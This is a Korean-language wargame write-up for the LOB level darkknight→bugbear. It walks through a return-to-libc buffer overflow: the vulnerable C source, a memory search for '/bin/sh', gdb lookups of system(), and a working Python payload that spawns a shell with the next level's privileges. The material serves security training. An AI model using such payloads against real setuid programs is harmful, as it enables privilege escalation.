[13] darkknight -> bugbear ( RTL ( Return To Library ) )

2017. 11. 17. 13:20SystemHacking/LOB(BOF원정대)


darkknight / new attacker

[darkknight@localhost darkknight]$ /bin/bash2

[darkknight@localhost darkknight]$ export SHELL=/bin/bash2


[ bugbear.c ]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
        - RTL1
*/
 
#include <stdio.h>
#include <stdlib.h>
 
main(int argc, char *argv[])
{
        char buffer[40];
        int i;
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        if(argv[1][47== '\xbf')
        {
                printf("stack betrayed you!!\n");
                exit(0);
        }
 
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}
 
cs


이전 게시글에서 공부했던 Return To Library ( RTL ) 의 개념을 이용하여 문제를 해결하도록 하겠습니다

쉘을 얻기 위해서 system() 함수를 사용할 것이고, 인자로는 " /bin/sh " 를 사용하도록 하겠습니다

" /bin/sh " 를 오버플로우 시켜서 직접 스택에 입력하는 방법도 가능하고, 메모리 상에 존재하는 " /bin/sh " 문자열의 주소를 알아내어 사용하는 방법도 가능합니다

직접 스택에 입력하는 방법은 조금 번거로운 주소 보정작업이 필요하기 때문에 메모리 상의 /bin/sh 을 찾아 사용하겠습니다


[ 메모리 상의 /bin/sh 주소 확인 ]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
 
int main (int argc, char* argv[]) {
        long shell;
        shell = 0x40058ae0;
        while(memcmp((void *) shell, "/bin/sh"8)) {
                shell++;
        }
 
        printf("\"/bin/sh\" is at 0x%x\n", shell);
        printf("printf %s\n",shell);
        return 0;
}
 
cs

[darkknight@localhost /tmp]$ ./find

"/bin/sh" is at 0x400fbff9    <-- 메모리 상에 위치한 "/bin/sh" 의 주소

printf /bin/sh


< 풀이 과정 >

1. 사용할 system()함수의 주소를 알아내야한다

2. 오버플로우 시켜서 리턴 주소를 system()함수로 변조한다

3. system()함수의 인자로 /bin/sh가 위치한 주소를 입력한다


1. system() 함수의 주소 ( gdb를 통해 알아낸다 ( p or disassemble ) )

[darkknight@localhost darkknight]$ cp bugbear bugbear.cp

[darkknight@localhost darkknight]$ gdb -q bugbear.cp

(gdb) set disassembly-flavor intel

(gdb) run a

Starting program: /home/darkknight/bugbear.cp a

a

Program exited with code 02.

(gdb) p system

Cannot access memory at address 0x40058ae0

(gdb) disas system

Dump of assembler code for function __libc_system:

0x40058ae0 <__libc_system>:     Cannot access memory at address 0x40058ae0



2. Overflow !

[ Stack 구조 ]

i

buffer          40byte

saved ebp    4byte

saved eip      RET <-- &system()

argc

argv[0]


3. system()함수에 인자 입력

main함수의 에필로그 과정에서 pop eip에 의해 saved eip에 저장된 system()함수가 실행된다

system()함수에 인자를 추가하려면 스택의 어느 부분에 인자를 저장해 두어야 하는가 ?

함수를 호출하는 경우를 생각해보자 ( call funtion = push eip + jmp &function )

그리고 함수의 프롤로그 부분이 시작되면 스택의 구조는 [ saved ebp ] - [ saved eip ] - .... 가 되러이다

해당 함수는 인자를 사용할 때 saved eip 다음부터 순서대로 필요한 인자만큼 인자로 사용한다

 [ saved ebp ]

 [ saved eip ]

 [ argv1 ]    = ebp + 8

 [ argv2 ]    = ebp + 12

함수 호출시 ebp+8 지점을 첫 인자로 사용하는 규칙이 있다

따라서 오버플로우를 통해서 ebp + 8 지점에 " /bin/sh " 문자열의 주소를 입력해주면 된다


[ Stack 구조 ]

i

buffer          40byte

saved ebp    4byte

saved eip      RET

argc            XXXX

argv[0]         &/bin/sh


[ payload 작성 ]

&system()  : 0x40058ae0

&/bin/sh    : 0x400fbff9

[darkknight@localhost darkknight]$ ./bugbear $(python -c 'print "A" * 44 + "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40"')

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒@AAAA▒@

bash$ id

uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)

bash$ my-pass

euid = 513

new divide

bash$ whoami

bugbear

bash$


RTL이 이해가 안된다면 이전 게시글에 RTL의 개념과 기본 예제를 설명해두었습니다. 참고하시기 바랍니다